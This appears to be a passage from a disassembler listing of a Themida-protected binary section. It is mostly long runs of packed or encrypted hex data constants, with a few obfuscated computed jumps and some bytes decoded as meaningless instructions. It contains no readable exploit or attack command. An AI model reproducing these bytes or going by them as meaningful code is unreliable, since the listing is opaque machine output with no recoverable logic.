7018002Bh, 0D31B172Eh, 30A098CAh dd 6C68D0DBh, 92168DCh, 61E60A3h, 0C88668B0h, 5CC65411h dd 0F25FE520h, 7485632Bh, 0E29860D4h, 0FE26580Bh, 569BFAABh dd 685A90DAh, 22CFDCFCh, 5F82730Dh, 0FE8E8A40h, 71D7383Bh dd 1B8DFDF1h, 0F10DF758h, 0ABB8F9AFh, 1ABE1623h, 0A8432F91h dd 4A802BCDh, 7F937F89h, 0F7589D07h, 31396B0Dh, 0DF758C7h dd 0D34F73B5h, 0A49175EEh, 0AA43CF69h, 426F3CCFh, 8ED64288h dd 0B78F4257h, 627BF7BFh, 0EB86CB4Dh, 0BD1E7643h, 0EF58CC3Ch dd 0AD400DF7h, 8A408202h, 1C8F6C18h, 0D0CAFCD7h, 8E6DC58Eh dd 529817E7h, 0F3088870h, 0D23322B8h, 0A52FE449h, 6AAB6843h dd 7902FFCCh, 2BCC44B4h, 77856480h, 0C60544EDh, 6286EE34h dd 0C9FC1549h, 90E8F14Fh, 234B3378h, 902CE5CAh, 44940224h dd 368E5B03h, 0FEEAD8D7h, 0A3357696h, 0E20F9C6Fh, 940273EAh dd 0AAB76544h, 90F2B952h, 94221DDCh, 0AB596144h, 0EDB12626h dd 0FFFFFFA3h, 4A6177A6h, 0DFCC2C58h, 0F2B94FBFh, 0E9C2264Eh dd 6C3F9C28h, 6B7816A7h, 0E7F45249h, 4E5D7B13h, 3FD365A5h dd 0DE9E02A9h, 0B126F02Fh, 2473h, 48D22000h, 32D179DDh dd 303EAD73h, 843152EEh, 0E7E4ED4Dh, 0E666D25Dh, 0C74A1627h dd 88FBE325h, 3Eh, 0DD48D249h, 7332D179h, 0EE303EADh, 0C92EA652h dd 941BF2E2h, 0ADA51D86h, 96101949h, 75E093ECh, 0F3F0F963h dd 0B25ABE69h, 0C74A1713h, 3EFCF11h, 8EE9F2DBh, 470F75Ch dd 0BB0FC4E7h, 93FB361Dh, 4A80316Eh, 278464B0h, 31A3232Fh dd 74494E8h, 0A0E43D5h, 0E606738Ah, 9DF503C5h, 0BD12703Bh dd 0F89088A3h, 3EA1F6ADh, 0D4E8295Bh, 0BD78016Ch, 9808D179h dd 48CA0569h, 462Dh, 48D2E600h, 0F55D79DDh, 0A3159516h dd 0A94494E8h, 184A5A55h, 8F761602h, 7D3EA1BDh, 0A443CB4Bh dd 0EAF0CA07h, 3C6DD3E9h, 0D278BD78h, 246A9909h, 1EB648CAh dd 0C44EECB3h, 0EAh, 0DC48C0D4h, 0ACBD7830h, 7775607Ah dd 96CE4A61h, 6FE94D8h, 9318F0BEh, 0DC5EAC5Eh, 4D519177h dd 4F5CAF01h, 0C6BC68A2h, 5F4CACF2h, 889258B2h, 3EBAE50Ch dd 46C637D6h, 44942ED2h, 813278AAh, 32A2AF49h, 2C1CD5D6h dd 0D26843A4h, 9B05A642h, 942382DFh, 96C8C44h, 0BFFBB8F3h dd 636F9709h, 942A71E3h, 27845744h, 9469699Bh, 7395FD1Bh dd 5C3EC02h, 1E0913CCh, 1B17923Ah, 11053EA1h, 79790F79h dd 0FDCBFDBDh, 0D2B73A3h, 4F229365h, 0DF698694h, 1064E454h dd 0E8C74D45h, 2FD242B6h, 7F621270h, 0C67AAB20h, 0E4CF70FEh dd 1A8E5h, 0FBB45600h, 0AF00DD85h, 604BA1D1h, 0B3FC1282h dd 633CA5CDh, 3FDD517Dh, 0EFA3FDA2h, 452D9318h, 0E79B05A6h dd 96289A11h, 47EE5AF2h, 0F1DE428Ch, 455A77A4h, 0DAD1275Bh dd 48D2BDE8h, 0F55D79DDh, 585930Ch, 3EA1BD1Eh, 83F9BAECh dd 0BD783B1Dh, 0A9192208h, 48CA231Ah, 0C240h, 61771500h dd 0F5B3F814h, 7629C8BCh, 0E5223F3Dh, 0CEC4494h, 3DD5419Fh dd 26E40D9Eh, 132E9A32h, 0EC1EBB6Bh, 8922C64Eh, 0A28D9748h dd 0EEBD1EB6h, 23F305C5h, 5E2200A3h, 0AC5A8AC1h, 0B5E2D2F2h dd 0A3CC852h, 4962860Eh, 83CB3DCDh, 7FC1BD78h, 8C962779h dd 2215B5A1h, 18C74C2Ch, 0FFE272E6h, 0AF5242A0h, 2D347BF0h dd 7EA970FEh, 0DC0Bh, 0E7C82200h, 3B7489F9h, 0ECBF1D45h dd 3F708EF6h, 0CFD03161h, 0D349BDF1h, 630F712Eh, 0C9B92784h dd 5B077932h, 7A542E7Dh, 5882F696h, 8D7A428Ch, 455A7740h dd 1FA7AB5Bh, 4494E8B5h, 5BB74183h, 0A4542E7Dh, 16DBD02Ch dd 60D474E4h, 584494E8h, 77C11426h, 0ED1461h, 94E81C88h dd 0F0BAEC44h, 0DF263EBAh, 0C43F17B2h, 0CE1C8F69h, 5B7D074Ch dd 9468E850h, 0F39F0117h, 32A29615h, 0EA20D1DAh, 46A2D250h dd 65E5F165h, 44945BF3h, 279F97C9h, 44945BBDh, 92BF598Bh dd 0D7817FFAh, 0A3B00E79h, 3A83FCFh, 56C24ACEh, 26F0A6B1h dd 801426E4h, 355D4368h, 0A91BD8D3h, 813A7455h, 0FA6266D8h dd 0EE7003B0h, 0A6B8DE5h, 92F0BAF1h, 0B1A506E2h, 5AE0CB21h dd 380F9h, 40510000h, 4C637759h, 0D0DBFD87h, 515AB123h dd 0D8D334A0h, 5748A91Bh, 0D8C72A9Ah, 5A55A91Bh, 0DAD12B99h dd 5D52AB19h, 0ED6852B4h, 8900003Bh, 8950242Ch, 405E0h dd 42D0000h, 87000000h, 895C2404h, 89572414h, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 240C895Ch, 0F1B95157h, 8906189Ch dd 0FA8959CFh, 4EC835Fh, 81242489h, 42404h, 52590000h dd 43243481h, 8F740651h, 0BE560841h, 74065143h, 5E087131h dd 52240C8Bh, 0C281E289h, 4, 8704C283h, 8B5C2414h, 89502414h dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 0FFFB9550h dd 0B6024CE3h, 7A041FBEh db 0Fh, 6, 8Dh ; --------------------------------------------------------------------------- loc_5D750F: ; CODE XREF: Themida_:005D5F20j mov eax, 618B1ACh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 4663CCBBh, 749B56DCh, 76B1CF82h, 14890B74h, 234F6E3h dd 1446D4D6h, 5FC1B249h, 79B06014h, 2FF36F9Ah, 22414483h dd 626F987Ah, 79F95334h, 30FD3560h, 406F144Dh, 3B28080h dd 342EE158h, 18DA2564h, 8E8h, 8CEE3600h, 0B4575B46h, 0D0BF0F9Eh dd 81F98B59h, 5B82C1h, 0BE1CB600h, 13965AE6h, 0BBCAC681h dd 0EE9EC69h, 0FB000000h, 545D8E22h, 4E3A7A21h, 86B61A4Eh dd 8131FF64h, 7AC4B8DFh, 81FC5B33h, 5B7C7FF3h, 9E905h dd 476B0000h, 164BE1CAh, 81FACD4Bh, 8A0751C3h, 18890F7Bh dd 0E9000000h, 13h, 0C9C01385h, 57C16D3Fh, 3C03C34Ah, 8AC8F384h dd 81331175h, 41B23EF3h, 0DCEF810Eh, 8906F735h, 0BA666019h dd 8361B3CDh, 0DF8101E9h, 5B8CE1C1h, 60494949h, 9E8h, 98E4D600h dd 9A47BB93h, 0BB6613B4h, 0F5FEEC0h, 381h, 0C88B6600h dd 1EE8161h, 0F000000h, 0FFFF7485h, 41E081FFh, 0E941EEF4h dd 28h, 3F02CCC2h, 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5D827A ; --------------------------------------------------------------------------- push 618B520h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618B61Ch jmp loc_590A54 ; --------------------------------------------------------------------------- push 618B793h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618B8BDh jmp loc_590A54 ; --------------------------------------------------------------------------- push 618BBADh jmp loc_590A54 ; --------------------------------------------------------------------------- push 618BD41h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618BE33h jmp loc_590A54 ; --------------------------------------------------------------------------- db 4Ch dd 0F39F01AEh, 372B951Ah, 0E89C06A5h, 3B279916h, 27970996h dd 336C9537h, 0E9C2254Dh, 3B708BF7h, 0F0BB1D45h, 0B4543C92h dd 428C5B40h, 0CD454B38h, 84367B24h, 2AB0FB10h, 4A61772Bh dd 565F7F89h, 6FCE12A5h, 28C054E6h, 0B6D01D83h, 0B80B7B7Bh dd 4E3EA1D2h, 0E8381C1Ch, 353F1DDBh, 0E7515991h, 0D5BD79AAh dd 304C8593h, 0BD79AAC8h, 986C75D5h, 2F432B48h, 8E609AD8h dd 0A951E721h, 48CB281Ah, 4B40h, 17FB1500h, 94E8056Fh dd 87FFF344h, 4494E81Dh, 0E9EFB9EBh, 47AF7A04h, 55BF474Bh dd 234494E8h, 0CCB357E1h, 0BA3EA1BDh, 0CB314B88h, 0C9BD783Ch dd 5A64128h, 5B860EC3h, 4CF28F44h, 0DC825D7Fh, 24109F0Fh dd 0BE3648CAh, 0F000000h, 894A6177h, 8C9D6FBh, 0C4195C7Ch dd 62EE26EBh, 0F9B0C4B1h, 2BE822E8h, 0EC6C3F99h, 14268964h dd 9A8BDE8Eh, 77914494h, 0C2264E34h, 0FCE56DE9h, 7E9C6EA3h dd 0D79BC355h, 87BB2981h, 223C31C7h, 94770F07h, 163EA19Eh dd 0A0515A7Eh, 0F234D06Ah, 0A253F90h, 4A61860Eh, 6D60E8B0h dd 0DFC74D71h, 0C0E9D6Fh, 42D24678h, 0F2A2009Fh, 3C1B900Fh dd 0F170FF21h, 9D8B3C6h, 43970000h, 0EF0E766Ch, 5AB2E2C0h dd 0EB036F51h, 4BB6DEC4h, 0CC426E54h, 94EEB150h, 3EA407E0h dd 8CF6B556h, 35AB00D8h, 0FD67DFA7h, 0CB428C5Dh, 17FBB7DEh dd 94E8056Fh, 27B1F344h, 279906EBh, 0B40E9D3Bh, 7593FB01h dd 0B1CBA436h, 0C9FFAC40h, 0BDC6BD4Dh, 82C43EA1h, 3CC53B51h dd 34D3BD78h, 0AE4A3A77h, 0A111D4FDh, 230B7698h, 2417A616h dd 0D5C148CAh, 7830C335h, 7187B9BDh, 0BF1Fh, 6177F400h dd 9B46CE4Ah, 0E7DDF604h, 23885F0Ah, 0C5902CE5h, 0C74494E5h dd 0BE283A97h, 20BA80F2h, 299714F4h, 0C70C9F39h, 583D0E18h dd 0B0B56C77h, 0B5A19553h, 6BCDA315h, 2B9D2DBBh, 21BB6BCDh dd 97A1E3DFh, 0FB04077Fh, 0B0F2C15Eh, 0C863FDD2h, 5124B850h dd 0E868C74Ch, 2829813h, 583C58C0h, 429944B0h, 3A844B7h dd 57BB3D7Fh, 0C7BB257Ah, 15F4752Ah, 0E270FE09h, 8DCC0B9h dd 77930000h, 0C31A4A38h, 6E8EF6ECh, 0DF2F633Dh, 5F82F2D0h dd 0F86E6240h, 0C0227D64h, 0A7833D4h, 0B82A815Ah, 217F2CCCh dd 0D143C3CBh, 0A7428C5Eh, 5A7793BAh, 73AB5B45h, 82599EBh dd 0CC48D27Bh, 0B2217F2Ch, 894A6177h, 0F4CEDDFBh, 3A658C04h dd 0B6B74179h, 0F59581ACh, 3EA1F78Ah, 0F852E70h, 1E46B2F9h dd 0E70A59ACh, 0C76F0CB8h, 0B561BF59h, 3F10956Dh, 0F6D4FDA2h dd 0E68066CEh, 8328C054h, 989C3E4Eh, 5DFD2BFCh, 0F9C3C94h dd 5B50A727h, 0D92F63BDh, 34AB21D2h, 1B22FCD8h, 0F2166E7Bh dd 3D9BC7B9h, 0DA47456Eh, 0E483AEA0h, 0F3156D76h, 3E9ACAB8h dd 2018A3BBh, 63EAFDD8h, 0FC9CFD67h, 4F99CB22h, 38F38DA2h dd 0EFBC50C0h, 529D2DE9h, 0C858C9A9h, 89932C96h, 0BE1ABA9Eh dd 0F406C4EDh, 9069A424h, 8DCF5EF4h, 7F5CF464h, 513E72Ch dd 0D6B81E85h, 1821091Eh, 64BC19A8h, 5033DEBh, 86160000h dd 0BA750F78h, 263E5A3Eh, 0EE775B7Fh, 0C83C30F8h, 0C04494C5h dd 49107C7Eh, 4B3EA1D7h, 2FCBA113h, 3FCF2369h, 973A3A70h dd 5092F208h, 3429F870h, 0C852F13Bh, 2E51F95Dh, 0C23BC49h dd 0B1623DA4h, 77A78F59h, 0BDF3F59h, 9CB54353h, 0B420A8ACh dd 84539E40h, 0ADB7B842h, 2BF69682h, 0D129AB7Bh, 0D127A78Fh dd 5C7CE8DAh, 5595A4Fh, 5D468E1Fh, 7655Ch, 0BFF00A00h dd 535CB1E1h, 0C4E7056Dh, 5758B6DEh, 0C7D8F969h, 0DB71E5D9h dd 4B37A9F6h, 0F1A1FFACh, 432F911Ah, 429C06A5h, 5F5ACE3Eh dd 3532428Ch, 4A617708h, 0CAE1FB89h, 11DA1D8h, 0D2700000h dd 2777DF4Ah, 0C4039F95h, 18C852A6h, 174587F7h, 1A2BDA4Ah dd 0B06FB126h, 24000000h, 77DF4AD2h, 951AF35Bh, 0E8900783h dd 92024494h, 9F09817Ch, 6D4494E8h, 176B6D3Bh, 40982CE5h dd 0EB0D756Bh, 0E80A7E0Eh, 0C0024494h, 62860E0Ah, 0B6A2AF49h dd 0E8F2B91Eh, 46B27D07h, 801FC252h, 72720064h, 52E8880Ch dd 0A18787BAh, 0D50D093Eh, 9AB432A0h, 7AEEDE21h, 62BD7925h dd 29A1218Ah, 0C0EDCCFh, 0F78D4678h, 0FF09CAE1h, 79251D87h dd 0B9B9EBBDh, 36478C1Fh, 6FC3CB98h, 1918413Bh, 0A351307Ah dd 44A3C62Bh, 9A50AA67h, 0C597A159h, 647D8CFCh, 142148CBh dd 0F2000000h, 0FB6Ch, 0F5088800h, 5ACE3EBAh, 324494E8h dd 0D2EBEAF0h, 2979DD48h, 6B07FD95h, 0D1C553BDh, 0A1EE7239h dd 7DEE303Eh, 77149A78h, 3B47426Dh, 34000006h, 7BE7D9D6h dd 0FF734D62h, 0B0E4BEEDh, 36F515Eh, 0EFDFC1DEh, 0ABF4DD7Fh dd 1AA4D35h, 9318F39Fh, 8A3452Dh, 0CC3C449Ah, 428C5058h dd 0FB0A3330h, 0A6347B93h, 0CE72BDC9h, 2A9E2E2Ah, 224494E8h dd 985952AAh, 1192A862h, 515A7E8Eh, 0F1D434A0h, 0A291AF7Bh dd 19DA10A2h, 0D5F7C48Ah, 28C717FFh, 1CE03081h, 7D48A90h dd 26D46897h, 2F2EB1h, 0D2E70000h, 5EBFDF4Ah, 646DEF5Fh dd 26F0C5F4h, 1B89B1h, 0D23A0000h, 5EBFDF4Ah, 7B481638h dd 94E0AA1Bh, 2ADAE244h, 6E4ED914h, 0FFFFFE73h, 7493FB27h dd 125A7A37h, 892C6CF2h, 0E30C0EDCh, 0C4B0D05Bh, 6110A19Ch dd 7C7E86D4h, 0BF9D3F27h, 0BB342B2h, 96D7B126h, 0AC000002h dd 0F3935A77h, 4494E881h, 0B04D4577h, 7C08C9FFh, 0B9E94D62h dd 0D90481B8h, 98B93FB0h, 33E0CB2Ch, 0B25F40A1h, 666E7B1Bh dd 0EE460A30h, 0C9FCAE1Dh, 48C6069h, 0DF33C5EAh, 158A6702h dd 5C85EDD3h, 0C7618E43h, 60E8EC6Ch, 4494BCF4h, 0A07882C4h dd 0A1A12D28h, 576FAF3Eh, 0CE46B159h, 34760E2Ch, 616AF47Fh dd 0C9B7E809h, 0AA673899h, 79B1AA12h, 0D6E3A3BDh, 564C537Eh dd 0A22AC32Eh, 0BD79BF36h, 0BF86F29Ah, 3476BD79h, 3CBCEE30h dd 0BF44B058h, 0F234BD79h, 2A34EBE8h, 8BFB17FFh, 0BD79BF19h dd 0C149ADEFh, 0BD79BF57h, 4155E325h, 8E21BD55h, 0D97FBF65h dd 0EC0D9629h, 0E1701C1Eh, 0B3C74C8Ah, 0C5EEBD1Bh, 4D8FF305h dd 65C05A73h, 879659F1h, 4284CD7Bh, 0A589FB91h, 798FA953h dd 0FA138132h, 0AAA8FCB5h, 4E0C7FA1h, 33FE8885h, 43C3CFC3h dd 0A953A5D1h, 276375A7h, 0D36690C4h, 8808F032h, 44763B70h dd 0E0F86CB6h, 160206CBh, 20D70276h, 0CE2FAA3h, 0DA15627Fh dd 236F893Fh, 505BB0C5h, 0B5A167A3h, 23BBBA1Dh, 66BC3E8Ch dd 1AB2CF59h, 0A320E8AEh, 0D3D869Eh, 6AB1CF9h, 7A1206C4h dd 0D915EE2Fh, 5666ABDDh, 0A535EAEEh, 62850DFBh, 0E0FC8849h dd 61FBFDCBh, 0EED9E858h, 0F035087h, 35E20D77h, 8DF78FA5h dd 7BA535E2h, 0F1073949h, 3D9Fh, 48D27400h, 0EAD179DDh dd 0D83EA1BDh, 6272B2A6h, 7FCEACB6h, 253320BAh, 0DB5D4EADh dd 78A9C92Fh, 6D76D4BDh, 16E3F999h, 78A90276h, 2C8FABDh dd 9BDFF9D1h, 48CAB16Ch, 0B532h, 6177E300h, 0D6FB894Ah dd 27C54DC9h, 675D7684h, 0EBD91A91h, 0D4449E0Dh, 0E8DC48C0h dd 44AC4494h, 0D1C107A4h, 226A703Bh, 4494E557h, 555EE939h dd 0F53FB7BEh, 83CAE1CDh, 0CA508BC6h, 0A3FDAE4Ah, 0CB43304Ah dd 78527F2Ch, 6BC680F4h, 844678BBh, 6996F494h, 5092C15Fh dd 8A64ECE8h, 0C0EEC25h, 4C366988h, 0E5E6B918h, 77111FDAh dd 4BC5C4EFh, 24000003h, 8BF7E9C6h, 2F633D72h, 80F4CEDDh dd 335F416Eh, 0BFEFD1CEh, 7B24CD4Fh, 317A5D05h, 0E3C8234Fh dd 387395FDh, 0FC8C744Ah dd 428C5388h, 773A8380h, 0C5D1455Ah, 94E8D345h, 6177A944h dd 0F6B5533Fh, 6177198Ch, 5F7F894Ah, 0E54DDE1Bh, 68BD6542h dd 4E7A5C04h, 50A8ECEEh, 4FF7DB5Bh, 4494ECE5h, 2B805BD3h dd 44D614E6h, 439A3ADEh, 0C553A76Ch, 4A61778Eh, 0D642CACEh dd 0A64494E8h, 119E7064h, 0C3102AE0h, 0E7437D1h, 8C8CA7C1h dd 34C6E904h, 0F651E464h, 0F5273EA1h, 258C0BCh, 0E545BD78h dd 65D6CDCh, 420148CAh, 0D2000000h, 79DD48D2h, 0A1BDEAD1h dd 6DA6D83Eh, 0B86DC3DBh, 5E69143h, 3F2197F3h, 0D83CBD78h dd 36D5A038h, 4C7E3C75h, 0B32330AEh, 48CA2704h, 1AE40D0h dd 8EFEFAD0h, 0BD78331Ah, 0E82AB0F2h, 0FCh, 4A61779Dh dd 0C9D6FB89h, 4F5C7C08h, 0C01EB6A2h, 0F208C2EFh, 0F16546A2h dd 0B405D8B1h, 49CF61A9h, 94D0A3D7h, 0D2364494h, 84359F27h dd 0C1034494h, 8443B555h, 7394494h, 55B3DFC1h, 0DDD22CA4h dd 94847BEDh, 0D90F5144h, 0FED9795Dh, 844BBDADh, 0B6514494h dd 9D3B6DF5h, 46E17BB4h, 0B5FF3AD2h, 45AD3EA1h, 51C5039Ch dd 0D353C545h, 6C89BD79h, 92827054h, 0C0B4F66Eh, 7753802Bh dd 94AE3F61h, 5B2D9D99h, 0B1C74DCDh, 0EA07876Fh, 0B31BCBB5h dd 0ECC31B4Eh, 315F51Eh, 3C2D728Fh, 70FF7D15h, 0B7605942h dd 0B8000001h, 3F338D22h, 0F39F01AEh, 44309219h, 0E79B05AAh dd 732B950Ah, 0B7E80983h, 6D3E99C9h, 1F8C5F13h, 7437D1C1h dd 30D8C00Eh, 428C55C4h, 0FB8EB7B4h, 0E8056F17h, 0B1F34494h dd 0E853C545h, 0F7294494h, 4F50B1E1h, 0F9918571h, 4494E88Fh dd 65AD4B7Dh, 0BBA2883h, 79DD48D2h, 0A1BDEAD1h, 9B70D83Eh dd 1DF1E310h, 61925892h, 783CF56Bh, 8C04F0BDh, 943D72h dd 0B713C0EBh, 6C75E7F1h, 0CA24CDFCh, 0B19148h, 91850000h dd 78308FF9h, 0AD4B7DBDh, 4A6177A6h, 0C9D6FB89h, 74140008h dd 4494E800h, 0D834C6F8h, 4494E58Dh, 643E6D8Bh, 1ED3D830h dd 68379A3Ah, 0A8839DD2h, 259D18B0h, 598BC15Eh, 138C75DDh dd 940E2CDEh, 9F0CEC64h, 1DD6D533h, 8125BDDh, 0A691391Dh dd 94C74C8Ch, 836EE652h, 13BEA61Ch, 0BCFCFF8Ch, 0FE2970FEh dd 0C58Bh, 5F50AA00h, 0B3FC1181h, 6447A5CDh, 0B7F8167Eh dd 673899C9h, 3BD14579h, 0EB970996h, 51419F0Ch, 0E38FF1BAh dd 0A23CA605h, 56FA6EDEh, 0D5D2428Ch, 455A77A8h, 28D1275Bh dd 94E834A0h, 0D2C20444h, 8A40713Ah, 77736240h, 0FB894A61h dd 0DBF4CEDDh, 0DA72E641h, 3EAD5B00h, 7F15BE00h, 0B8604269h dd 50EAC518h, 4A8724C4h, 4C56ED32h, 854EECD2h, 2E0CB2Dh dd 7C357692h, 0C4E7048Ch, 0F51DBB0Fh, 675D9619h, 3BD91A91h dd 4A0DFFB3h, 0F8148035h, 0DB83FEB3h, 26923A0Eh, 168458F8h dd 0D17D16D4h, 5358B008h, 19866BE3h, 8A1822D8h, 4ADFEDAh dd 1185h, 93FB4C00h, 12DB4F7Ah, 0B68B546Dh, 0ED0BBFF4h dd 6377476Eh, 0DBFD874Ch, 5AB123D0h, 0D334A051h, 48A91BD8h dd 0C72A9A57h, 55A91BD8h, 0D12B995Ah, 52AB19DAh, 5252B45Dh dd 0C281E289h, 4, 8704EA83h, 248B2414h, 4E4D6824h, 34890000h dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 243C895Ch dd 1D88BA52h, 0EA816C5Ah, 664169B3h, 685AD689h, 0C6Fh dd 83242489h, 5F042404h, 4EC81h, 34890000h, 242C8124h dd 21124B7Eh, 8108478Fh, 4B7E0847h, 3C8B2112h, 0E3895324h dd 4C381h, 0C3830000h, 241C8704h, 24348B5Ch, 81E18951h dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFB87DCh db 5Ah, 0C7h ; --------------------------------------------------------------------------- loc_5D827A: ; CODE XREF: Themida_:005D7654j ; Themida_:005D828Cj mov eax, 618BF1Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- align 4 add [edx+6Eh], ebx inc ebx stosb test al, 5Eh push eax jb short loc_5D827A xor esp, ebp lds esp, [ebx+edx] fbld tbyte ptr [edx+1E681C0Eh] retn ; --------------------------------------------------------------------------- dw 0D366h dd 0A31D28A2h, 8E2A8571h, 0AC614CCCh, 9A4ADA8Fh, 0AB555427h dd 0A5EB86Ch, 0E949B050h, 0Eh, 2F56FE50h, 7C809E01h, 0 dd 11E90000h, 6800000Eh, 618C195h, 0FAC153E9h, 0C2F868FFh dd 49E90618h, 68FFFAC1h, 618C44Ch, 0FAC13FE9h, 0C58F68FFh dd 35E90618h, 68FFFAC1h, 618C710h, 0FAC12BE9h, 0C9EC68FFh dd 21E90618h, 68FFFAC1h, 618CB0Bh, 0FAC117E9h, 0CC5E68FFh dd 0DE90618h, 12FFFAC1h, 0E3492C4h, 0E3492BCh, 103290BAh dd 0F3191BFh, 13492C2h, 0E470BD2Eh, 0FE54E4C6h, 0E365FAE0h dd 4CDDC3h, 47B699A2h, 16B674CBh, 0BDE17D94h, 6D51E06Ch dd 565270DCh, 7B5C7B0Bh, 0B4AD295Ch, 77E6109Dh, 109DB51Bh dd 7392A1E4h, 0A2DF1A69h, 5F68168Eh, 9DE76Bh, 0A52308E8h dd 458389E5h, 0D7F44524h, 58E961F3h, 0F250AF39h, 490A8A8Dh dd 0BA98280Ah, 3963D832h, 5AAD3F7Bh, 48E3h, 0BEA37700h dd 75C7EBC8h, 0EE4284D5h, 0ED8C0D5Ch, 8687F6E3h, 57168E98h dd 1B3AE970h, 3FAE045Ah, 0A8A90E3h, 690869ACh, 0A9DCFBD8h dd 0A8A912Dh, 0ED7ACE61h, 61E120A8h, 0B80A8A91h, 0C18FBD4Eh dd 695AAD36h, 0D8h, 0E06CBDCDh, 77FADCC3h, 7E975C22h, 86D3F776h dd 0C796BE0Bh, 34162746h, 260CABA1h, 0B332BA94h, 0B10E3E8Fh dd 0C4634086h, 57EA542Dh, 0A23294F5h, 0BB2A28B0h, 109DEE2Ah dd 0F9D973C6h, 77C686D7h, 79563039h, 8EF30104h, 1BBBDA16h dd 0E3C0C61Bh, 75498F72h, 86256810h, 0B3857EA9h, 7B764B7Bh dd 82D25F71h, 0E2AFFE24h, 0EB9EFF51h, 79FAFD2Fh, 0D484C168h dd 5200000Bh, 4E745204h, 4E7452FCh, 507250FAh, 4F7151FFh dd 41745202h, 24307DEEh, 3E14A486h, 2325BAA0h, 400C9D83h dd 7765962h, 16B6758Bh, 0C2213D54h, 9E0776DDh, 909B6065h dd 0D55D42A9h, 0B81243C6h, 81109DBEh, 86567D1Ch, 11308A48h dd 0A9381AA2h, 32230CABh, 59F8CE41h, 0E6CC0AD2h, 7FD9F953h dd 0DB0ABEA3h, 109DB57Fh, 0A0B20248h, 70117091h, 98232253h dd 0CBF4168Eh, 0D1C03454h, 0D96809E8h, 8A6D2AA8h, 7405810Ah dd 1571E4C3h, 0DE0A8A6Dh, 0EFAD35BFh, 575AAD52h, 109h dd 5FF14268h, 9B458F0Eh, 51E06CBDh, 94B6E06Dh, 0DB3A0B41h dd 9DB530AAh, 7CD26410h, 0C09FACEDh, 9DB4D14Dh, 1A7B9A10h dd 547B5C7Bh, 0E675F09Bh, 1975E428h, 0E2109DDDh, 8DCA19A3h dd 87D17A5h, 109DDC8Eh, 6573657h, 1FCE3D87h, 0BB109DD9h dd 95F1642Ah, 5E109DD7h, 5F805E3Fh, 0E14E1F78h, 40885C52h dd 11CBBB0Eh, 77F5FB4Fh, 96B584E5h, 4EA1BEB1h, 4993BB37h dd 3592F4EDh, 8F60BDC0h, 58779616h, 4D8C0677h, 90C50A8Bh dd 0A8B4E36h, 4CD19EFFh, 0F5A5684h, 11255877h, 0A1075ACh dd 0A73E98CDh, 86070475h, 53E2C8E7h, 9B84A101h, 7001B817h dd 7C5E66E8h, 52F267EDh, 7779FA4Eh, 0A7195B0h, 29B50000h dd 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h, 8DA29131h dd 2383D160h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah, 68E2133Ch dd 3116B677h, 70BD46F8h, 0C6E9C6E4h, 9DB53B97h, 37810410h dd 2A88C415h, 0E06CBD90h, 70DC6D51h, 7B0B5652h, 0A3E4295Ch dd 1A3D168Eh, 8A9D6FEBh, 0B4D5380Ah, 0C681A6A5h, 8D9D561Eh dd 754E9B63h, 85E46EE6h, 0A74DCC3Bh, 6AA40A8Ah, 14EDABD1h dd 0CB555AADh, 66000006h, 4696EF44h, 0BDDC3D0Ch, 0BEA3A933h dd 0C998B405h, 0AD8A2948h, 0D11B3785h, 8EA1D732h, 0EC7DA016h dd 8AA03D9Dh, 81FA940Ah, 0AD0D9D5Bh, 698455Ah, 0A3190000h dd 7AEBC8BEh, 168EA363h, 440E9EA4h, 9E9CF667h, 20650A8Ah dd 181F041h, 580A8A9Fh, 0A16F9D2Eh, 95AAD0Ch, 66Eh, 0D5DFB92Dh dd 0ECF460EDh, 0CEED99D0h, 0A1345DECh, 1A7BCAABh, 1626FEB5h dd 0E7F184E5h, 71FA7BEAh, 8A0B168Fh, 584DE469h, 4A9F9676h dd 2DBB9F3Ch, 0EBF51425h, 368A7FEEh, 2838467h, 202C7DA5h dd 79E8F011h, 4360263Bh, 62EC3E64h, 0DB2AB2D3h, 7E540E26h dd 262EBB9Fh, 3897F617h, 0AEA63317h, 64767E9Fh, 755B7BD1h dd 55F568E4h, 66E7D55Bh, 91D8AC7h, 0BD090000h, 0C7173999h dd 0AF012787h, 0C6153B9Bh, 0B7062C8Ah, 210E3D9Dh, 0F7D77DCCh dd 0EFCF83D1h, 0F4D276C9h, 0F1D17BCEh, 1C76E7E8h, 0E516B679h dd 6CBD92ACh, 4D7251E0h, 4E8AD20h, 0B602CA31h, 89FCDBABh dd 16857BFFh, 0D201A1E4h, 0A8565A4h, 2537543h, 332C6C4Ah dd 76173D8Ch, 6EE27159h, 0E56DFBDFh, 8C543554h, 64CC1E4Fh dd 3D850A85h, 320362EEh, 0B4A02D15h, 3E12A1A5h, 458FEE2Fh dd 0F2C4C213h, 838C2AF8h, 0D362EA7Bh, 14B2D3B2h, 84FE71E1h dd 0D5AD920Ah, 0ECC53BDCh, 3689CB15h, 3B8EB412h, 51B14011h dd 8EE94A39h, 0FFE08704h, 85B9148Eh, 30B8DD0Ah, 0E1C18B1Eh dd 8FDE6EBFh, 85A8A0FEh, 0C78DDC0Ah, 4B015476h, 0D13D5FAh dd 248CBE09h, 8B7A0F83h, 943EBB35h, 86AC0B41h, 0B42E5F37h dd 7D0A8574h, 0A9E87918h, 2816311Fh, 0BC000001h, 96A5DDC2h dd 0C28A106Bh, 0C785D8FAh, 8BFF5476h, 9C1F64A4h, 8AFB50CBh dd 109E8510h, 84D5B4D9h, 9E8499F5h, 80F5D210h, 109E8506h dd 45694ECFh, 145CC396h, 0D164767Eh, 93CEEA7Bh, 17A1D4F3h dd 0FC1685D4h, 1F10E499h, 9E4D800Bh, 7DAC3h, 58FE4C00h dd 4806587Ah, 56F4486Ah, 4F015278h, 58FC496Fh, 87E44B7Ah dd 96BC1A3Ah, 8CAE0C46h, 8FB11137h, 0A3B00E3Eh, 79CD49BCh dd 839616B6h, 1D6CBDDFh, 1273C28Eh, 0DA6E5473h, 0FEA0E170h dd 7495A4AEh, 8CD9FD6Ch, 73C8EAC8h, 82D3F5D5h, 77C6ECCAh dd 0FB4A8CDDh, 0B4F06A9Bh, 